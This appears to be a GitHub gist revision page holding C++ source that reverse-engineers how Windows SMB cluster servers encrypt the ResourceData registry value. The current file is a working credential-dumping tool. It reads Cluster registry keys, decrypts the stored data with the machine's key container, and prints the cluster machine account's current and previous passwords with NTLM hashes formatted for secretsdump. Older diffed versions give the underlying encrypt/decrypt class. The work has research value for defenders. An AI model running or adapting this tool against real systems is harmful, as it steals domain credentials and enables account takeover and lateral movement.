Skip to content

Instantly share code, notes, and snippets.

@EvanMcBroom
Last active August 14, 2025 17:42
Show Gist options
  • Save EvanMcBroom/a63f17466c7d1ab8b11ae80e520287ce to your computer and use it in GitHub Desktop.
Save EvanMcBroom/a63f17466c7d1ab8b11ae80e520287ce to your computer and use it in GitHub Desktop.

Revisions

  1. EvanMcBroom revised this gist Jul 30, 2025. 2 changed files with 394 additions and 260 deletions.
    394 changes: 394 additions & 0 deletions decrypt_cluster_resourcedata.cpp
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,394 @@
    // Copyright (C) 2025 Evan McBroom and Garrett Foster
    //
    // Permission is hereby granted, free of charge, to any person obtaining a copy
    // of this software and associated documentation files (the "Software"), to deal
    // in the Software without restriction, including without limitation the rights
    // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    // copies of the Software, and to permit persons to whom the Software is
    // furnished to do so, subject to the following conditions:
    //
    // The above copyright notice and this permission notice shall be included in
    // all copies or substantial portions of the Software.
    //
    // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    // THE SOFTWARE.
    //
    // Compile: cl /EHsc /MT decrypt_cluster_resourcedata.cpp
    //
    // The code may be used to encrypt or decrypt the ResourceData
    // content which SMB cluster servers store in the registry.
    //
    // The current format of ResourceData is as follows:
    // struct {
    // DWORD PREFIX; // Believed to be the data format version
    // DWORD BUFFER_IV_SIZE;
    // DWORD BUFFER_KEY_SIZE;
    // // BUFFER_IV
    // // BUFFER_KEY
    // // BUFFER_DATA
    // };
    //
    // At the time of writing, the value of PREFIX is stored as 2.
    // The decrypted data consists of the current machine account
    // password for the SMB cluster followed by its previous
    // machine account password, if present. The format of both
    // passwords is as follows:
    // union {
    // struct {
    // DWORD PasswordLength;
    // BYTE Password[];
    // };
    // BYTE Data[260];
    // };
    //
    #define UMDF_USING_NTSTATUS
    #define _SILENCE_CXX17_CODECVT_HEADER_DEPRECATION_WARNING
    #include <windows.h>

    #include <bcrypt.h>
    #include <codecvt>
    #include <iomanip>
    #include <iostream>
    #include <ntsecapi.h>
    #include <ntstatus.h>
    #include <stdlib.h>
    #include <string>
    #include <vector>
    #include <wincrypt.h>

    #pragma comment(lib, "advapi32.lib")
    #pragma comment(lib, "bcrypt.lib")

    /// <summary>
    /// Implements a slightly modified version of the Crypto::CryptProvider class that is used
    /// by the clusres.dll!NetNameLib::CryptoAccessV2 api to decrypt ResourceData content.
    ///
    /// The class methods differ from the original in the following ways:
    /// - CryptProvider does not take a 4th dwFlags parameter. That parameter was ignored in
    /// Microsoft's implementation of the class.
    /// - Encrypt and Decrypt expect to be provided the entire contents of ResourceData.
    /// Microsoft's implementation expects to be provided with the contents of ResourceData
    /// with the leading 4 byte PREFIX data removed. This change was done for convenience.
    /// </summary>
    class CryptProvider {
    public:
    CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container);
    virtual ~CryptProvider();
    void Encrypt(const std::vector<UCHAR>& plaintext, std::vector<UCHAR>& resourceData) {
    this->Encrypt((const PUCHAR)(plaintext.data()), plaintext.size(), resourceData);
    }
    void Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData);
    void Decrypt(std::vector<UCHAR>&);

    private:
    std::wstring _keyName;
    HCRYPTPROV _cryptProvider{ HCRYPTPROV(INVALID_HANDLE_VALUE) };
    HCRYPTKEY _exchangeKey{ HCRYPTKEY(INVALID_HANDLE_VALUE) };
    BCRYPT_ALG_HANDLE _algoProvider{ INVALID_HANDLE_VALUE };

    CryptProvider(const CryptProvider&) = default;
    CryptProvider& operator=(const CryptProvider&) = default;

    void EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData);
    void GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv);
    BCRYPT_ALG_HANDLE OpenAlgorithm(const std::wstring& algId);
    };

    CryptProvider::CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container) {
    auto succeeded{ CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT | CRYPT_NEWKEYSET) };
    if (!succeeded) {
    if (GetLastError() != NTE_EXISTS || !CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT)) {
    throw GetLastError();
    }
    }
    _algoProvider = OpenAlgorithm(L"AES");
    }

    CryptProvider::~CryptProvider() {
    if (HANDLE(_algoProvider) != INVALID_HANDLE_VALUE) {
    BCryptCloseAlgorithmProvider(_algoProvider, 0);
    }
    if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
    CryptDestroyKey(_exchangeKey);
    }
    if (HANDLE(_cryptProvider) != INVALID_HANDLE_VALUE) {
    CryptReleaseContext(_cryptProvider, 0);
    }
    }

    // Not fully tested
    void CryptProvider::Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData) {
    // Get a key, iv, and secret to use when encrypting the plaintext
    BCRYPT_KEY_HANDLE key;
    std::vector<UCHAR> secret;
    std::vector<UCHAR> iv;
    GenerateCryptKey(key, secret, iv);
    // Get the size of the encrypted secret and ciphertext
    // Use those values to resize the output data to be able to store them
    auto encryptedSecretBufferSize{ DWORD(secret.size()) };
    EncryptData(&encryptedSecretBufferSize, nullptr, 0);
    ULONG ciphertextSize;
    auto status{ BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, nullptr, 0, nullptr, 0, &ciphertextSize, BCRYPT_BLOCK_PADDING) };
    if (status != STATUS_SUCCESS) {
    throw status;
    }
    const auto headerSize{ sizeof(int) * 3 };
    resourceData.resize(headerSize + iv.size() + encryptedSecretBufferSize + ciphertextSize);
    // Store the currently used prefix value (e.g., 2) and size of the iv and secret in the output data
    *reinterpret_cast<int*>(resourceData.data()) = 2;
    auto embeddedIvSize{ reinterpret_cast<int*>(resourceData.data()) + 1 };
    auto embeddedSecretSize{ reinterpret_cast<int*>(resourceData.data()) + 2 };
    *embeddedIvSize = int(iv.size());
    *embeddedSecretSize = int(encryptedSecretBufferSize);
    // Embed the iv
    auto embeddedIv{ resourceData.data() + headerSize };
    if (iv.size()) {
    std::memcpy(embeddedIv, iv.data(), iv.size());
    }
    auto embeddedSecret{ embeddedIv + *embeddedIvSize };
    auto embeddedCiphertext{ embeddedSecret + *embeddedSecretSize };
    // Encrypt the plaintext and store its ciphertext in the output data
    status = BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, embeddedIv, ULONG(iv.size()), embeddedCiphertext, ciphertextSize, &ciphertextSize, BCRYPT_BLOCK_PADDING);
    if (status != STATUS_SUCCESS) {
    throw status;
    }
    // Embed the secret and encrypt it in-place
    if (secret.size()) {
    std::memcpy(embeddedSecret, secret.data(), secret.size());
    auto secretSize{ DWORD(secret.size()) };
    EncryptData(&secretSize, embeddedSecret, encryptedSecretBufferSize);
    }
    }

    void CryptProvider::Decrypt(std::vector<UCHAR>& data) {
    DWORD error{ 0 };
    // Get the key stored in the CNG container that was used to encrypt the embedded secret
    if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
    CryptDestroyKey(_exchangeKey);
    }
    if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) {
    // Pointers to each component of the resource data
    const auto headerSize{ sizeof(int) * 3 };
    auto embeddedIvSize{ reinterpret_cast<int*>(data.data()) + 1 };
    auto embeddedSecretSize{ reinterpret_cast<int*>(data.data()) + 2 };
    auto embeddedIv{ data.data() + headerSize };
    auto embeddedSecret{ embeddedIv + *embeddedIvSize };
    auto embeddedCiphertext{ embeddedSecret + *embeddedSecretSize };
    auto size{ DWORD(*embeddedSecretSize) };
    // Decrypt the embedded secret in-place
    if (CryptDecrypt(_exchangeKey, 0, true, 0, embeddedSecret, &size)) {
    BCRYPT_KEY_HANDLE cryptKey;
    // Generate a new key from the decrypted embedded secret
    auto status{ BCryptGenerateSymmetricKey(_algoProvider, &cryptKey, nullptr, 0, embeddedSecret, size, 0) };
    if (status == STATUS_SUCCESS) {
    auto cbCiphertext{ ULONG(data.size() - headerSize - *embeddedIvSize - *embeddedSecretSize) };
    status = BCryptDecrypt(cryptKey, embeddedCiphertext, cbCiphertext, nullptr, embeddedIv, *embeddedIvSize, embeddedCiphertext, cbCiphertext, &size, BCRYPT_BLOCK_PADDING);
    if (status != STATUS_SUCCESS) {
    status = status;
    }
    }
    else {
    error = status;
    }
    }
    else {
    error = GetLastError();
    }
    }
    else {
    error = GetLastError();
    }
    if (error) {
    throw error;
    }
    }

    void CryptProvider::EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData) {
    auto error{ CryptEncrypt(_exchangeKey, 0, true, 0, pData, pdwSize, pData ? static_cast<DWORD>(cbData) : 0) || (!pData && pdwSize) ? ERROR_SUCCESS : GetLastError()};
    if (error != ERROR_SUCCESS) {
    throw error;
    }
    }

    void CryptProvider::GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv) {
    NTSTATUS error{ STATUS_SUCCESS };
    auto algorithm{ OpenAlgorithm(L"RNG") };
    if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
    CryptDestroyKey(_exchangeKey);
    }
    if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) {
    DWORD blockLength;
    ULONG cbResult;
    error = BCryptGetProperty(_algoProvider, BCRYPT_BLOCK_LENGTH, reinterpret_cast<PUCHAR>(&blockLength), sizeof(blockLength), &cbResult, 0);
    if (error == STATUS_SUCCESS) {
    iv.resize(blockLength);
    error = BCryptGenRandom(algorithm, iv.data(), ULONG(iv.size()), 0);
    if (error == STATUS_SUCCESS) {
    secret.resize(blockLength);
    error = BCryptGenRandom(algorithm, secret.data(), ULONG(secret.size()), 0);
    if (error == STATUS_SUCCESS) {
    error = BCryptGenerateSymmetricKey(_algoProvider, &key, nullptr, 0, secret.data(), ULONG(secret.size()), 0);
    }
    }
    }
    }
    else {
    error = GetLastError();
    }
    (void)BCryptCloseAlgorithmProvider(algorithm, 0);
    if (error) {
    throw error;
    }
    }

    BCRYPT_ALG_HANDLE CryptProvider::OpenAlgorithm(const std::wstring& algId) {
    BCRYPT_ALG_HANDLE hAlgorithm;
    auto error{ BCryptOpenAlgorithmProvider(&hAlgorithm, algId.c_str(), L"Microsoft Primitive Provider", 0) };
    if (error != STATUS_SUCCESS) {
    throw error;
    }
    return hAlgorithm;
    }

    auto GetNtlmOwf(const std::wstring& password) {
    std::vector<UCHAR> ntlmOwf;
    HCRYPTPROV provider;
    if (CryptAcquireContextW(&provider, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {
    HCRYPTHASH hash;
    if (CryptCreateHash(provider, CALG_MD4, 0, 0, &hash)) {
    if (CryptHashData(hash, reinterpret_cast<const BYTE*>(password.data()), DWORD(password.size() * sizeof(wchar_t)), 0)) {
    ntlmOwf.resize(MSV1_0_OWF_PASSWORD_LENGTH);
    auto dataLength{ DWORD(ntlmOwf.size()) };
    CryptGetHashParam(hash, HP_HASHVAL, ntlmOwf.data(), &dataLength, 0);
    }
    CryptDestroyHash(hash);
    }
    CryptReleaseContext(provider, 0);
    }
    return ntlmOwf;
    }

    auto GetRegistryData(HKEY hive, const std::wstring& subKey, const std::wstring& valueName) {
    std::vector<UCHAR> data;
    HKEY key;
    if (RegOpenKeyExW(hive, subKey.c_str(), 0, KEY_READ, &key) == ERROR_SUCCESS) {
    DWORD dataSize;
    if (RegQueryValueExW(key, valueName.c_str(), NULL, NULL, NULL, &dataSize) == ERROR_SUCCESS) {
    data.resize(dataSize);
    (void)RegQueryValueExW(key, valueName.c_str(), NULL, NULL, data.data(), &dataSize);
    }
    RegCloseKey(key);
    }
    return data;
    }

    auto GetRegistrySubKeys(HKEY hive, const std::wstring& subKey) {
    std::vector<std::wstring> names;
    HKEY key;
    if (RegOpenKeyExW(hive, subKey.c_str(), 0, KEY_READ, &key) == ERROR_SUCCESS) {
    WCHAR name[MAX_PATH]; // A sufficient size for our needs
    for (DWORD index{ 0 }; RegEnumKeyW(key, index, name, sizeof(name) / sizeof(name[0])) == ERROR_SUCCESS; index++) {
    names.emplace_back(name);
    }
    RegCloseKey(key);
    }
    return names;
    }

    template<typename Container>
    inline void OutputHex(const Container& container) {
    for (const auto& c : container) std::wcout << std::setw(2) << std::setfill(L'0') << std::hex << static_cast<int>(static_cast<unsigned char>(c));
    }

    inline void OutputHex(const std::wstring& data) {
    OutputHex(std::string(reinterpret_cast<const char*>(data.data()), data.size() * sizeof(wchar_t)));
    }

    int wmain(int argc, wchar_t* argv[]) {
    std::wstring checkpointsKey{ L"Cluster\\Checkpoints" };
    auto checkpoints{ GetRegistrySubKeys(HKEY_LOCAL_MACHINE, checkpointsKey) };
    for (const auto checkpoint : checkpoints) {
    auto crypto{ std::wstring(reinterpret_cast<wchar_t*>(GetRegistryData(HKEY_LOCAL_MACHINE, checkpointsKey + L"\\" + checkpoint + L"\\Crypto", L"Checkpoints").data())) };
    auto providerType{ std::stoi(crypto.substr(0, crypto.find(L"\\"))) }; // In testing this has has been 1, or PROV_RSA_FULL
    crypto.erase(0, crypto.find(L"\\") + 1);
    auto provider{ crypto.substr(0, crypto.find(L"\\")) }; // In testing this has has been "Microsoft Enhanced Cryptographic Provider v1.0"
    crypto.erase(0, crypto.find(L"\\") + 1);
    auto container{ crypto.erase(0, crypto.find(L"\\") + 1) };
    auto resourceKey{ std::wstring{ L"Cluster\\Resources\\" } + checkpoint };
    auto resourceData{ GetRegistryData(HKEY_LOCAL_MACHINE, resourceKey + L"\\Parameters", L"ResourceData") };
    if (resourceData.size()) {
    try {
    // Decrypt ResourceData
    CryptProvider cryptoProvider(provider, providerType, container);
    cryptoProvider.Decrypt(resourceData);
    // Parse out the plaintext
    const auto headerSize{ int(sizeof(int)) * 3 };
    auto embeddedIvSize{ *(reinterpret_cast<int*>(resourceData.data()) + 1) };
    auto embeddedSecretSize{ *(reinterpret_cast<int*>(resourceData.data()) + 2) };
    auto plaintextOffset{ headerSize + embeddedIvSize + embeddedSecretSize };
    auto plaintext{ resourceData.data() + plaintextOffset };
    // Parse out the password that is in the plaintext
    // The first DWORD is the password length, but the password data can contain a null
    // and the effective length is all data before the null. So we skip the first DWORD
    // and allow std::wstring to chop of the data when it identifies a null.
    auto passwordDataLength{ *reinterpret_cast<int*>(plaintext) };
    std::wstring password(reinterpret_cast<wchar_t*>(plaintext + sizeof(int)));
    // Output the password and its nt owf hash. The nt owf will conform to secretsdump's format
    auto ntlmOwf{ GetNtlmOwf(password) };
    auto name{ std::wstring(reinterpret_cast<wchar_t*>(GetRegistryData(HKEY_LOCAL_MACHINE, resourceKey, L"Name").data())) };
    std::wcout << "[+] Decrypted checkpoint " << checkpoint << std::endl;
    std::wcout << " Pass: "; OutputHex(password); std::wcout << std::endl;
    std::wcout << " Hash: " << name << L"$:"; OutputHex(ntlmOwf); std::wcout << std::endl;
    // Parse out the previous password. This will be the same as the current password
    // until the machine account password is rotated.
    auto previousPasswordOffset{ 260 }; // The data for previous password is stored at offset 260
    auto previousPasswordSize{ int(resourceData.size()) - plaintextOffset - previousPasswordOffset };
    if (previousPasswordSize > 0) {
    auto previousPasswordDataLength{ *reinterpret_cast<int*>(plaintext + previousPasswordOffset) };
    std::wstring previousPassword(reinterpret_cast<wchar_t*>(plaintext + previousPasswordOffset + sizeof(int)));
    // If a previous password does not exist, then previousPasswordDataLength will be 0
    // and the storage area for the previous password may contain a password with the
    // first wchar_t null'd to make the effective length of its data also 0. In testing,
    // when this occurs the previous password will contain a copy of the current password.
    // This will happen when a user "repairs" the active directory object for the machine
    // account.
    if (previousPasswordDataLength) {
    try {
    // Output the previous password and its nt owf hash
    auto ntlmOwf{ GetNtlmOwf(previousPassword) };
    std::wcout << L" Previous pass: "; OutputHex(previousPassword); std::wcout << std::endl;
    std::wcout << L" Previous hash: " << name << L"$:"; OutputHex(ntlmOwf); std::wcout << std::endl;
    }
    catch (...) {
    std::wcerr << L"[-] Failed to decrypt the previous password for checkpoint " << checkpoint << L"." << std::endl;
    }
    }
    else {
    auto partialPreviousPasswordSize{ previousPasswordSize - int(sizeof(int)) - int(sizeof(wchar_t)) };
    auto partialPreviousPassword{ reinterpret_cast<wchar_t*>(plaintext + previousPasswordOffset + sizeof(int) + sizeof(wchar_t)) };
    if (partialPreviousPasswordSize > 0 && *partialPreviousPassword) {
    std::wcout << L" [!] The previous password data was overwritten and could only be partially recovered" << std::endl;
    std::wcout << " Partial previous pass: ????"; OutputHex(std::wstring(partialPreviousPassword)); std::wcout << std::endl;

    }
    else {
    std::wcout << " Previous pass: (none)" << std::endl;
    std::wcout << " Previous hash: (none)" << std::endl;
    }
    }
    }
    }
    catch (...) {
    std::wcerr << L"[-] Failed to decrypt ResourceData for checkpoint " << checkpoint << L"." << std::endl;
    }
    }
    else {
    std::wcerr << L"[-] Failed to find ResourceData for checkpoint " << checkpoint << L"." << std::endl;
    }
    }
    }
    260 changes: 0 additions & 260 deletions smb_cluster_cryptprovider.cpp
    Original file line number Diff line number Diff line change
    @@ -1,260 +0,0 @@
    // Copyright (C) 2024 Evan McBroom
    //
    // The code may be used to encrypt or decrypt the ResourceData
    // content which SMB cluster servers store in the registry.
    //
    // The current format of ResourceData is as follows:
    // PREFEX (4 bytes): Believed to be the data format version.
    // HEADER {
    // BUFFER_IV_SIZE (4 bytes)
    // BUFFER_KEY_SIZE (4 bytes)
    // }
    // BUFFER_IV
    // BUFFER_KEY
    // BUFFER_DATA
    //
    // At the time of writing, the value of PREFIX is stored as 2.
    // The PREFIX value should be stripped before encrypting and
    // decrypting any ResourceData content.
    //
    #include <windows.h>

    #include <bcrypt.h>
    #include <iomanip>
    #include <iostream>
    #include <ntstatus.h>
    #include <stdlib.h>
    #include <string>
    #include <vector>
    #include <wincrypt.h>

    class CryptProvider {
    public:
    CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container, DWORD dwFlags);
    virtual ~CryptProvider();
    void Encrypt(const std::vector<UCHAR>& plaintext, std::vector<UCHAR>& resourceData) {
    this->Encrypt((const PUCHAR)(plaintext.data()), plaintext.size(), resourceData);
    }
    void Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData);
    void Decrypt(std::vector<UCHAR>&);

    private:
    std::wstring _keyName;
    HCRYPTPROV _cryptProvider{ HCRYPTPROV(INVALID_HANDLE_VALUE) };
    HCRYPTKEY _exchangeKey{ HCRYPTKEY(INVALID_HANDLE_VALUE) };
    BCRYPT_ALG_HANDLE _algoProvider{ INVALID_HANDLE_VALUE };

    CryptProvider(const CryptProvider&) = default;
    CryptProvider& operator=(const CryptProvider&) = default;

    void EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData);
    void GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv);
    BCRYPT_ALG_HANDLE OpenAlgorithm(const std::wstring& algId);
    };

    CryptProvider::CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container, ULONG dwFlags) {
    (void)dwFlags; // Unused=
    auto succeeded{ CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT | CRYPT_NEWKEYSET) };
    if (!succeeded) {
    if (GetLastError() != NTE_EXISTS || !CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT)) {
    throw GetLastError();
    }

    }
    _algoProvider = OpenAlgorithm(L"AES");
    }

    CryptProvider::~CryptProvider() {
    if (HANDLE(_algoProvider) != INVALID_HANDLE_VALUE) {
    BCryptCloseAlgorithmProvider(_algoProvider, 0);
    }
    if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
    CryptDestroyKey(_exchangeKey);
    }
    if (HANDLE(_cryptProvider) != INVALID_HANDLE_VALUE) {
    CryptReleaseContext(_cryptProvider, 0);
    }
    }

    void CryptProvider::Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData) {
    // Get a key, iv, and secret to use when encrypting the plaintext
    resourceData.resize(sizeof(DWORD) * 2);
    BCRYPT_KEY_HANDLE key;
    std::vector<UCHAR> secret;
    std::vector<UCHAR> iv;
    GenerateCryptKey(key, secret, iv);

    // Store the size of the iv and secret in the output data
    auto embeddedIvSize = [](std::vector<UCHAR>& resourceData) {
    return reinterpret_cast<DWORD*>(resourceData.data());
    };
    auto embeddedSecretSize = [](std::vector<UCHAR>& resourceData) {
    return reinterpret_cast<DWORD*>(resourceData.data()) + 1;
    };
    *embeddedIvSize(resourceData) = iv.size();
    *embeddedSecretSize(resourceData) = secret.size();

    // Get the size of the encrypted secret and ciphertext
    // Use those values to resize the output data to be able to store them
    auto cbEncryptedSecret{ DWORD(secret.size()) };
    EncryptData(&cbEncryptedSecret, nullptr, 0);
    ULONG cbCiphertext;
    auto status{ BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, nullptr, 0, nullptr, 0, &cbCiphertext, BCRYPT_BLOCK_PADDING) };
    if (status != STATUS_SUCCESS) {
    throw status;
    }
    resourceData.resize(resourceData.size() + iv.size() + cbEncryptedSecret + cbCiphertext);

    // Embed the iv and unencrypted secret
    auto embeddedIv{ reinterpret_cast<PUCHAR>(reinterpret_cast<DWORD*>(resourceData.data()) + 2) };
    if (iv.size()) {
    std::memcpy(embeddedIv, iv.data(), iv.size());
    }
    auto embeddedSecret{ embeddedIv + iv.size() };
    if (secret.size()) {
    std::memcpy(embeddedSecret, secret.data(), secret.size());
    }

    // Encrypt the embedded secret in-place
    EncryptData(embeddedSecretSize(resourceData), embeddedSecret, cbEncryptedSecret);

    // Encrypt the plaintext and store its ciphertext in the output data
    status = BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, iv.data(), iv.size(), embeddedSecret + *embeddedSecretSize(resourceData), cbCiphertext, &cbCiphertext, BCRYPT_BLOCK_PADDING);
    if (status != STATUS_SUCCESS) {
    throw status;
    }
    }

    void CryptProvider::Decrypt(std::vector<UCHAR>& data) {
    DWORD error{ 0 };
    // Get the key stored in the CNG container that was used to encrypt the embedded secret
    if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
    CryptDestroyKey(_exchangeKey);
    }
    if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) {
    // Pointers to each component of the resource data
    const auto headerSize{ sizeof(DWORD) * 2 };
    auto embeddedIvSize{ reinterpret_cast<DWORD*>(data.data()) };
    auto embeddedSecretSize{ reinterpret_cast<DWORD*>(data.data()) + 1 };
    auto embeddedIv{ data.data() + headerSize };
    auto embeddedSecret{ embeddedIv + *embeddedIvSize };
    auto embeddedCiphertext{ embeddedSecret + *embeddedSecretSize };
    DWORD size{ *embeddedSecretSize };
    // Decrypt the embedded secret in-place
    if (CryptDecrypt(_exchangeKey, NULL, TRUE, 0, embeddedSecret, &size)) {
    BCRYPT_KEY_HANDLE cryptKey;
    // Generate a new key from the decrypted embedded secret
    auto status{ BCryptGenerateSymmetricKey(_algoProvider, &cryptKey, NULL, 0, embeddedSecret, size, 0) };
    if (status == STATUS_SUCCESS) {
    auto cbCiphertext{ (ULONG)(data.size() - headerSize - *embeddedIvSize - *embeddedSecretSize) };
    status = BCryptDecrypt(cryptKey, embeddedCiphertext, cbCiphertext, nullptr, embeddedIv, *embeddedIvSize, embeddedCiphertext, cbCiphertext, &size, BCRYPT_BLOCK_PADDING);
    if (status != STATUS_SUCCESS) {
    status = status;
    }
    }
    else {
    error = status;
    }
    }
    else {
    error = GetLastError();
    }
    }
    else {
    error = GetLastError();
    }
    if (error) {
    throw error;
    }
    }

    void CryptProvider::EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData) {
    auto error{ CryptEncrypt(_exchangeKey, NULL, TRUE, 0, pData, pdwSize, pData ? static_cast<DWORD>(cbData) : 0) ? ERROR_SUCCESS : GetLastError() };
    if (error != ERROR_SUCCESS) {
    throw error;
    }
    }

    void CryptProvider::GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv) {
    DWORD error{ 0 };
    auto algorithm{ OpenAlgorithm(L"RNG") };
    if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
    CryptDestroyKey(_exchangeKey);
    }
    if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) {
    DWORD blockLength;
    ULONG cbResult;
    auto status{ BCryptGetProperty(_algoProvider, BCRYPT_BLOCK_LENGTH, reinterpret_cast<PUCHAR>(&blockLength), sizeof(blockLength), &cbResult, 0) };
    if (status == STATUS_SUCCESS) {
    status = BCryptGenRandom(algorithm, iv.data(), iv.size(), 0);
    if (status == STATUS_SUCCESS) {
    if (HANDLE(key) != INVALID_HANDLE_VALUE) {
    BCryptDestroyKey(key);
    }
    status = BCryptGenerateSymmetricKey(_algoProvider, &key, nullptr, 0, secret.data(), secret.size(), 0);
    if (status != STATUS_SUCCESS) {
    error = status;
    }
    }
    else {
    error = status;
    }
    }
    else {
    error = status;
    }
    }
    else {
    error = GetLastError();
    }
    BCryptCloseAlgorithmProvider(algorithm, 0);
    if (error) {
    throw error;
    }
    }

    BCRYPT_ALG_HANDLE CryptProvider::OpenAlgorithm(const std::wstring& algId) {
    BCRYPT_ALG_HANDLE hAlgorithm;
    auto error{ BCryptOpenAlgorithmProvider(&hAlgorithm, algId.c_str(), L"Microsoft Primitive Provider", 0) };
    if (error != STATUS_SUCCESS) {
    throw error;
    }
    return hAlgorithm;
    }

    void OutputHex(PUCHAR source, size_t length) {
    for (size_t index{ 0 }; index < length; index++) {
    std::cout << std::hex << std::setfill('0') << std::setw(2) << int(source[index]);
    }
    }

    void main() {
    std::wstring cngProvider{ L"Microsoft Enhanced Cryptographic Provider v1.0" };
    DWORD dwProvType{ PROV_RSA_FULL }; // Any value here is likely fine
    std::wstring keyContainer{ L"NAME" }; // Will be in the format "GUID-Netname Resource Data"
    CryptProvider cryptoProvider(cngProvider, dwProvType, keyContainer, 0);

    std::vector<UCHAR> resourceData; // Ex: { 16, 0, 0, 0, 0, 1, 0, 0, ... }
    cryptoProvider.Decrypt(resourceData);

    const auto headerSize{ sizeof(DWORD) * 2 };
    auto embeddedIvSize{ reinterpret_cast<DWORD*>(resourceData.data()) };
    auto embeddedSecretSize{ reinterpret_cast<DWORD*>(resourceData.data()) + 1 };

    const auto headerSize{ sizeof(DWORD) * 2 };
    auto embeddedIvSize{ reinterpret_cast<DWORD*>(resourceData.data()) };
    auto embeddedSecretSize{ reinterpret_cast<DWORD*>(resourceData.data()) + 1 };

    auto plaintext{ resourceData.data() + headerSize + *embeddedIvSize + *embeddedSecretSize };

    // Display the decrypted WCHAR[]
    auto valueLength{ (*reinterpret_cast<DWORD*>(plaintext)) * sizeof(WCHAR) };
    std::cout << "Decrypted value (" << valueLength << "): ";
    OutputHex(plaintext + sizeof(DWORD), valueLength);

    // Display the full plaintext
    auto plaintextLength{ resourceData.size() - headerSize - *embeddedIvSize - *embeddedSecretSize };
    std::cout << std::endl << "Full plaintext (" << plaintextLength << "): ";
    OutputHex(plaintext, plaintextLength);
    std::cout << std::endl;
    }
  2. EvanMcBroom revised this gist Dec 6, 2024. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion smb_cluster_cryptprovider.cpp
    Original file line number Diff line number Diff line change
    @@ -255,6 +255,6 @@ void main() {
    // Display the full plaintext
    auto plaintextLength{ resourceData.size() - headerSize - *embeddedIvSize - *embeddedSecretSize };
    std::cout << std::endl << "Full plaintext (" << plaintextLength << "): ";
    OutputHex(plaintext + sizeof(DWORD) + valueLength, plaintextLength);
    OutputHex(plaintext, plaintextLength);
    std::cout << std::endl;
    }
  3. EvanMcBroom revised this gist Dec 6, 2024. 1 changed file with 29 additions and 8 deletions.
    37 changes: 29 additions & 8 deletions smb_cluster_cryptprovider.cpp
    Original file line number Diff line number Diff line change
    @@ -1,9 +1,7 @@
    // Copyright (C) 2024 Evan McBroom
    //
    // The code may be used to encrypt or decrypt the ResourceData
    // content which SMB cluster servers store in the registry. The
    // code has not been tested but should be close enough to get
    // working.
    // content which SMB cluster servers store in the registry.
    //
    // The current format of ResourceData is as follows:
    // PREFEX (4 bytes): Believed to be the data format version.
    @@ -22,6 +20,8 @@
    #include <windows.h>

    #include <bcrypt.h>
    #include <iomanip>
    #include <iostream>
    #include <ntstatus.h>
    #include <stdlib.h>
    #include <string>
    @@ -133,7 +133,7 @@ void CryptProvider::Decrypt(std::vector<UCHAR>& data) {
    }
    if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) {
    // Pointers to each component of the resource data
    const auto headerSize{ sizeof(DWORD) * 3 };
    const auto headerSize{ sizeof(DWORD) * 2 };
